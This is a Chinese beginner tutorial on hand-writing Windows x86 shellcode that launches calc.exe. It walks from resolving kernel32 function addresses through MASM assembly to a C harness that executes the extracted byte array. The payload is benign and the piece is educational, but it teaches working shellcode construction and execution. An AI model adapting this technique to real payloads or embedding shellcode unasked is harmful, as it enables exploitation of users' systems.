ShellCode01: 弹出计算器
简单地讲，ShellCode就是一段01二进制的机器码，试图利用软件中的漏洞完成自己想做的事情。ShellCode的编写需要考虑和顾及的东西很多，这里先写一个适合新手的范例。
*需要的预备知识：
1.汇编语言（尤其要清楚了解函数是如何调用的）
2.PE文件格式（可参考《Windows PE 权威指南》一书）
3.一点点WinAPI函数
*使用的工具软件：
1.MASM32
2.Stud_PE
3.OllyDBG
一、用C语言写出弹出计算器的代码
1 LoadLibrary("kernel32.dll"); 2 WinExec("calc.exe", 5); 3 ExitProcess(0);
二、找到这些函数函数的虚拟内存地址
WinExec()和ExitProcess()都是kernel32.dll中的函数，使用Stud_PE查看kernel32.dll的相关信息
这里我们注意到kernel32.dll的映像基址为0x7C800000，也就是说系统在加载kernel32.dll的时候，会将其加载到虚拟内存为0x7C800000的位置。
接着查看kernel32.dll中的函数的偏移地址，偏移地址+映像基址=函数在虚拟内存中的地址
可以看到WinExec()函数的偏移地址为0x000623AD，所以WinExec()在虚拟内存中的地址为0x7C8623AD，同理得到ExitProcess()的地址为0x7C81CAFA。
事实上一般的PE文件都会加载kernel32.dll，user32.dll，ntdll.dll等动态链接库，所以我们不必要调用LoadLibrary("kernel32.dll")，不过当我们的ShellCode需要使用到其他动态链接库的时候，如ws2_32.dll等，LoadLibrary()函数是必须的，故也将其地址找到：0x7C801D7B。
注：在实际的ShellCode编写中，函数的地址与操作系统的版本有关，故需要使用其他的技巧，这里只是写一个简单的范例。
三、将C语言转化为汇编语言
使用MASM编写编译
1 .386 2 .model flat,stdcall 3 option casemap:none 4 5 include windows.inc 6 include user32.inc 7 includelib user32.lib 8 include kernel32.inc 9 includelib kernel32.lib 10 11 .code 12 start: 13 ;push ebp 14 ;mov ebp,esp 15 16 ;LoadLibrary("kernel32.dll"); 17 ;xor eax,eax 18 ;push eax 19 ;mov eax,6C6C642Eh ;".dll" 20 ;push eax 21 ;mov eax,32336C65h ;"el32" 22 ;push eax 23 ;mov eax,6E72656Bh ;"kern" 24 ;push eax 25 ;mov eax,esp 26 ;push eax ;Arg1 = "kernel32.dll" 27 ;mov eax,7C801D7Bh ;kernel32.LoadLibrary 28 ;call eax 29 30 ;WinExec("calc.exe", 5); 31 xor eax,eax 32 push eax 33 mov eax,6578652Eh ;".exe" 34 push eax 35 mov eax,636C6163h ;"calc" 36 push eax 37 mov eax,esp 38 push 5 ;Arg2 = SW_SHOW 39 push eax ;Arg1 = "calc.exe" 40 mov eax,7C8623ADh ;kernel32.WinExec 41 call eax 42 43 ;ExitProcess(0); 44 xor eax,eax 45 push eax ;Arg1 = 0 46 mov eax,7C81CAFAh ;kernel32.ExitProcess 47 call eax 48 49 ;mov esp,ebp 50 ;pop ebp 51 end start
注意到把LoadLibrary()函数注释掉了，这不影响这一段代码的执行
四、完成ShellCode
编译完成后可以使用OllyDbg调试。
使用十六进制编辑器打开EXE文件，找到代码段
剩下的工作就简单了
1 //LoadLibraryA("kernel32.dll"); 2 //WinExec("calc.exe",SW_SHOW); 3 4 unsigned char shellcode[68] = { 5 0x33, 0xC0, 0x50, 0xB8, 0x2E, 0x64, 0x6C, 0x6C, 6 0x50, 0xB8, 0x65, 0x6C, 0x33, 0x32, 0x50, 0xB8, 7 0x6B, 0x65, 0x72, 0x6E, 0x50, 0x8B, 0xC4, 0x50, 8 0xB8, 0x7B, 0x1D, 0x80, 0x7C, 0xFF, 0xD0, 0x33, 9 0xC0, 0x50, 0xB8, 0x2E, 0x65, 0x78, 0x65, 0x50, 10 0xB8, 0x63, 0x61, 0x6C, 0x63, 0x50, 0x8B, 0xC4, 11 0x6A, 0x05, 0x50, 0xB8, 0xAD, 0x23, 0x86, 0x7C, 12 0xFF, 0xD0, 0x33, 0xC0, 0x50, 0xB8, 0xFA, 0xCA, 13 0x81, 0x7C, 0xFF, 0xD0 14 }; 15 16 int main() 17 { 18 __asm 19 { 20 lea eax,shellcode; 21 call eax; 22 } 23 return 0; 24 }
